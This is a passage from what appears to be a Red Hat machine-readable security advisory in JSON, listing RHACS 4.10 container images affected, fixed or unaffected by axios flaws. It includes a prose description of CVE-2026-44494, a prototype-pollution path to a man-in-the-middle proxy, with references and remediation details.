"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:b5ee8b86ee6a8474158e60cfc26a676a355a9ed98076b73f905bca42b1085329_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:0d0f3c45b3806a428c1dcdb9814699a44d067398854adde5e8f984481496deaf_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:76c6c09e9315ad9b83ec34d0825a94bdb90effcc072d58f9cf6c6b60ab0365aa_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:8fd4674c282ee4da0095ea9611b25d25c4d70d522976fd7557eb93d07ca09296_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:f6db822767d0e5c8d3544cdbc565e58880dd1a628465100edef7c5a2d7510abe_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:4aab8cb0a2e5b8518bdd01bc0557c7768ca40b080b9a907d5885d3743debb627_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:e5659b1d9790c4bd5df3093b0a36dd4a0ca64ba224924d37e9dafc6aff5c83df_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:ea9fba7212bc0621e1ed6b030b4c8a1fbe3a0f2491b6fdc192c14f8ef7a6ae27_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:fa3a268f648bce0d881c1b26395cbf16f4d556483e4455f17dfa5968438d4152_ppc64le"
]
}
],
"threats": [
{
"category": "impact",
"details": "Important"
}
],
"title": "axios: Axios: Proxy bypass via IPv4-mapped IPv6 address non-normalization"
},
{
"cve": "CVE-2026-44494",
"cwe": {
"id": "CWE-915",
"name": "Improperly Controlled Modification of Dynamically-Determined Object Attributes"
},
"discovery_date": "2026-06-11T17:01:12.945664+00:00",
"flags": [
{
"label": "vulnerable_code_not_present",
"product_ids": [
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:04e380e189febad5d8dcbfaa68643963ab8d65d7089d32e30a1276837605e03a_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:10b0b798c4690002c7ffe064b84cf5d0bb6f52045cd15bfe79b15bd68d4fbe8c_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:444df0b47d23743e19022b4a92e2ee9dd345598fb31f9b947f0bbdab7f59d90e_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:a32574be1c7a5a9ef0aa8b8ce4946ffe4920cb72b402eb17d1ca07c43925faef_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:1563b3a0da76d7b35ecc4c563a8d347e9a558c8043da5c9588ad2f7f943a7ece_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:56e67cf62ffe4982d358ae06098da48f44175cd63239ebfb711b476404abb31a_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:e077a56adee93c70cc339a83e47805691758c4e187195b0dd1d567133a5b6661_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:fe09f895ec18082b40abbcd7e546bb4bfeceb8dd4d7f1bed85310096333baa1d_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-fact-rhel8@sha256:71e40863edd8c6275921449d977c396bf066e3ce87ad2c0e61f80003202637ab_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-fact-rhel8@sha256:b4789552297c62abde45025c53087f258273431fc4921cab693997bb3aebfaff_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-operator-bundle@sha256:dbbd62683e39389f91b5937a9d17a414243db53bb901ba7ebe17d24f8c78480e_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:4713cf6657eee34d58a329610050db2c3884b635260935ca69099be6bdd62400_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:a7a9a2165e13c9be2ccc1bcc157b33f1c3994256baf43f4ac4a76021c0880278_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:cde020c47589fd802cda98804da44218f34eec63396efb166a81274617d8acf4_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:ceda1bd9270d37f947b4141be2a134767997f5135003b9d1f2007aed21c53a1e_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:0c5bd402788e93b9795dbaa3dd82272339858972059e0e1017bb12a7a5fa52a1_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:51c6efd982283db3ffeebc152e58874601f1660ce76700c7110d11bca1d06688_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:9ec58aa0b8f1617d0a3e824cadaa8c939dada1f22e98c3a818bd85b0947dd9a5_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:a0b8260a0c9b73d802891463c5427d1f3607acd62da928b1e4bd8aa7993649d4_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:348379199252e9c10cdc6268ce42ce039f12adc6e8e588b8105d2ce1e81ae439_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:423d831317c9019733c1b2191568dd4f00890a4d4e26ada3067b7ba43a2b9b48_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:9609056d08c8aff42326b2dea7733dc89ddfa019466c223bc0dfd22822627416_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:b693c67103bee5f49185b7cb2322ff174954b115938f0696d53a25b43f63f972_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:7624c0fe4943f89cb8ca709a9d84004ffe4a533498d2bba21a83a811e16da2a9_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:905f591f2e1e2e3dbd17bc8b1f903ae7b5fc8e573f3708eb3a97a70c5dc412dc_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:cefa60dedb2d65ba3d9324b7d37ef997300720f2e006014c1c79731ed3a1b2ba_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:f1c6ac0330ce4337dff577ed282f1aaec462027edb0ef3a48db11f8eea9be6e4_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:43b201e72f0ab1a59dddb5608bc814607ff1138572af3052af0199c468cecc47_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:68773c7eebb7f9764e3b0e6a49f7b025896764016896022504b7876ebc269af5_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:93ac1f8d14c6402ffa441b692ba8a28f95990a254835c69bf37165164eae895b_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:f94d97d4e1c5a2d50b3a7be98032c4f54f7582300d27de605f804d041916a7b6_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:0cbdb571c33cc7f78a4ace9ac32271cabce2fb585d758972053924440a15d1f7_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:27ad8f03033572bac8d6e87a78a49018e5d1b6b4dfd0096365ec8668f1c97771_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:91ab6414f8e3559e3a424882dc40fe953990a6ad5efcaeb50fe0a6756f3e20c7_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:b5ee8b86ee6a8474158e60cfc26a676a355a9ed98076b73f905bca42b1085329_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:0d0f3c45b3806a428c1dcdb9814699a44d067398854adde5e8f984481496deaf_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:76c6c09e9315ad9b83ec34d0825a94bdb90effcc072d58f9cf6c6b60ab0365aa_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:8fd4674c282ee4da0095ea9611b25d25c4d70d522976fd7557eb93d07ca09296_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:f6db822767d0e5c8d3544cdbc565e58880dd1a628465100edef7c5a2d7510abe_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:4aab8cb0a2e5b8518bdd01bc0557c7768ca40b080b9a907d5885d3743debb627_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:e5659b1d9790c4bd5df3093b0a36dd4a0ca64ba224924d37e9dafc6aff5c83df_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:ea9fba7212bc0621e1ed6b030b4c8a1fbe3a0f2491b6fdc192c14f8ef7a6ae27_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:fa3a268f648bce0d881c1b26395cbf16f4d556483e4455f17dfa5968438d4152_ppc64le"
]
}
],
"ids": [
{
"system_name": "Red Hat Bugzilla ID",
"text": "2487942"
}
],
"notes": [
{
"category": "description",
"text": "A flaw was found in Axios. This vulnerability, a Prototype Pollution \"Gadget\" attack, allows an attacker to escalate any existing Object.prototype pollution in an application\u0027s dependency tree into a full Man-in-the-Middle (MITM) attack. This enables the attacker to intercept, read, and modify all HTTP traffic, including sensitive authentication credentials. The flaw occurs because the `config.proxy` setting is susceptible to prototype pollution, allowing an attacker to inject a malicious proxy server.",
"title": "Vulnerability description"
},
{
"category": "summary",
"text": "axios: Axios: Man-in-the-Middle (MITM) attack via Prototype Pollution",
"title": "Vulnerability summary"
},
{
"category": "other",
"text": "This Important flaw in the Axios library allows an attacker to escalate existing prototype pollution vulnerabilities within an application\u0027s dependency tree into a full Man-in-the-Middle (MITM) attack. By injecting a malicious proxy configuration into the `Object.prototype`, an attacker can intercept, read, and modify all HTTP traffic, including sensitive authentication credentials, without direct user interaction. This poses a significant risk to data confidentiality and integrity in Red Hat products that utilize the Axios library.",
"title": "Statement"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
],
"product_status": {
"fixed": [
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:16792cdca53b00c9f3b8a318270fe2970ee8a8b5b7b54a68f3e3c8412f30d802_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:1c803425800df9af39869d7fe6512c954261a24228f017b8751d6fc93ee14d94_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:7a45d15348cd7c48aada943ba0e9d6381f845267873d5c81cfaf501de2a3ae5b_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:89e70cfaebf46d63cd2c3ddcb4f5b44cfca68d8ec7379a00da7266da7a91f20c_amd64"
],
"known_not_affected": [
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:04e380e189febad5d8dcbfaa68643963ab8d65d7089d32e30a1276837605e03a_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:10b0b798c4690002c7ffe064b84cf5d0bb6f52045cd15bfe79b15bd68d4fbe8c_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:444df0b47d23743e19022b4a92e2ee9dd345598fb31f9b947f0bbdab7f59d90e_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:a32574be1c7a5a9ef0aa8b8ce4946ffe4920cb72b402eb17d1ca07c43925faef_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:1563b3a0da76d7b35ecc4c563a8d347e9a558c8043da5c9588ad2f7f943a7ece_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:56e67cf62ffe4982d358ae06098da48f44175cd63239ebfb711b476404abb31a_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:e077a56adee93c70cc339a83e47805691758c4e187195b0dd1d567133a5b6661_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:fe09f895ec18082b40abbcd7e546bb4bfeceb8dd4d7f1bed85310096333baa1d_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-fact-rhel8@sha256:71e40863edd8c6275921449d977c396bf066e3ce87ad2c0e61f80003202637ab_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-fact-rhel8@sha256:b4789552297c62abde45025c53087f258273431fc4921cab693997bb3aebfaff_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-operator-bundle@sha256:dbbd62683e39389f91b5937a9d17a414243db53bb901ba7ebe17d24f8c78480e_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:4713cf6657eee34d58a329610050db2c3884b635260935ca69099be6bdd62400_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:a7a9a2165e13c9be2ccc1bcc157b33f1c3994256baf43f4ac4a76021c0880278_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:cde020c47589fd802cda98804da44218f34eec63396efb166a81274617d8acf4_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:ceda1bd9270d37f947b4141be2a134767997f5135003b9d1f2007aed21c53a1e_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:0c5bd402788e93b9795dbaa3dd82272339858972059e0e1017bb12a7a5fa52a1_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:51c6efd982283db3ffeebc152e58874601f1660ce76700c7110d11bca1d06688_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:9ec58aa0b8f1617d0a3e824cadaa8c939dada1f22e98c3a818bd85b0947dd9a5_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:a0b8260a0c9b73d802891463c5427d1f3607acd62da928b1e4bd8aa7993649d4_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:348379199252e9c10cdc6268ce42ce039f12adc6e8e588b8105d2ce1e81ae439_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:423d831317c9019733c1b2191568dd4f00890a4d4e26ada3067b7ba43a2b9b48_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:9609056d08c8aff42326b2dea7733dc89ddfa019466c223bc0dfd22822627416_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:b693c67103bee5f49185b7cb2322ff174954b115938f0696d53a25b43f63f972_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:7624c0fe4943f89cb8ca709a9d84004ffe4a533498d2bba21a83a811e16da2a9_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:905f591f2e1e2e3dbd17bc8b1f903ae7b5fc8e573f3708eb3a97a70c5dc412dc_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:cefa60dedb2d65ba3d9324b7d37ef997300720f2e006014c1c79731ed3a1b2ba_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:f1c6ac0330ce4337dff577ed282f1aaec462027edb0ef3a48db11f8eea9be6e4_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:43b201e72f0ab1a59dddb5608bc814607ff1138572af3052af0199c468cecc47_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:68773c7eebb7f9764e3b0e6a49f7b025896764016896022504b7876ebc269af5_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:93ac1f8d14c6402ffa441b692ba8a28f95990a254835c69bf37165164eae895b_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:f94d97d4e1c5a2d50b3a7be98032c4f54f7582300d27de605f804d041916a7b6_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:0cbdb571c33cc7f78a4ace9ac32271cabce2fb585d758972053924440a15d1f7_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:27ad8f03033572bac8d6e87a78a49018e5d1b6b4dfd0096365ec8668f1c97771_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:91ab6414f8e3559e3a424882dc40fe953990a6ad5efcaeb50fe0a6756f3e20c7_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:b5ee8b86ee6a8474158e60cfc26a676a355a9ed98076b73f905bca42b1085329_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:0d0f3c45b3806a428c1dcdb9814699a44d067398854adde5e8f984481496deaf_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:76c6c09e9315ad9b83ec34d0825a94bdb90effcc072d58f9cf6c6b60ab0365aa_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:8fd4674c282ee4da0095ea9611b25d25c4d70d522976fd7557eb93d07ca09296_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:f6db822767d0e5c8d3544cdbc565e58880dd1a628465100edef7c5a2d7510abe_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:4aab8cb0a2e5b8518bdd01bc0557c7768ca40b080b9a907d5885d3743debb627_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:e5659b1d9790c4bd5df3093b0a36dd4a0ca64ba224924d37e9dafc6aff5c83df_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:ea9fba7212bc0621e1ed6b030b4c8a1fbe3a0f2491b6fdc192c14f8ef7a6ae27_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:fa3a268f648bce0d881c1b26395cbf16f4d556483e4455f17dfa5968438d4152_ppc64le"
]
},
"references": [
{
"category": "self",
"summary": "Canonical URL",
"url": "https://access.redhat.com/security/cve/CVE-2026-44494"
},
{
"category": "external",
"summary": "RHBZ#2487942",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2487942"
},
{
"category": "external",
"summary": "https://www.cve.org/CVERecord?id=CVE-2026-44494",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-44494"
},
{
"category": "external",
"summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-44494",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44494"
},
{
"category": "external",
"summary": "https://github.com/axios/axios/security/advisories/GHSA-35jp-ww65-95wh",
"url": "https://github.com/axios/axios/security/advisories/GHSA-35jp-ww65-95wh"
}
],
"release_date": "2026-06-11T15:32:03.155000+00:00",
"remediations": [
{
"category": "vendor_fix",
"date": "2026-05-26T11:34:12+00:00",
"details": "If you are using an earlier version of RHACS, you are advised to\nupgrade to the version of RHACS mentioned in the synopsis and release\nnotes in order to take advantage of the enhancements, bug fixes, and/or\nsecurity patches in the release.",
"product_ids": [
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:16792cdca53b00c9f3b8a318270fe2970ee8a8b5b7b54a68f3e3c8412f30d802_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:1c803425800df9af39869d7fe6512c954261a24228f017b8751d6fc93ee14d94_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:7a45d15348cd7c48aada943ba0e9d6381f845267873d5c81cfaf501de2a3ae5b_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:89e70cfaebf46d63cd2c3ddcb4f5b44cfca68d8ec7379a00da7266da7a91f20c_amd64"
],
"restart_required": {
"category": "none"
},
"url": "https://access.redhat.com/errata/RHSA-2026:20889"
},
{
"category": "workaround",
"details": "Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base or stability.",
"product_ids": [
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:04e380e189febad5d8dcbfaa68643963ab8d65d7089d32e30a1276837605e03a_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:10b0b798c4690002c7ffe064b84cf5d0bb6f52045cd15bfe79b15bd68d4fbe8c_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:444df0b47d23743e19022b4a92e2ee9dd345598fb31f9b947f0bbdab7f59d90e_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:a32574be1c7a5a9ef0aa8b8ce4946ffe4920cb72b402eb17d1ca07c43925faef_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:1563b3a0da76d7b35ecc4c563a8d347e9a558c8043da5c9588ad2f7f943a7ece_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:56e67cf62ffe4982d358ae06098da48f44175cd63239ebfb711b476404abb31a_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:e077a56adee93c70cc339a83e47805691758c4e187195b0dd1d567133a5b6661_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:fe09f895ec18082b40abbcd7e546bb4bfeceb8dd4d7f1bed85310096333baa1d_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-fact-rhel8@sha256:71e40863edd8c6275921449d977c396bf066e3ce87ad2c0e61f80003202637ab_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-fact-rhel8@sha256:b4789552297c62abde45025c53087f258273431fc4921cab693997bb3aebfaff_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:16792cdca53b00c9f3b8a318270fe2970ee8a8b5b7b54a68f3e3c8412f30d802_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:1c803425800df9af39869d7fe6512c954261a24228f017b8751d6fc93ee14d94_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:7a45d15348cd7c48aada943ba0e9d6381f845267873d5c81cfaf501de2a3ae5b_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:89e70cfaebf46d63cd2c3ddcb4f5b44cfca68d8ec7379a00da7266da7a91f20c_amd64",
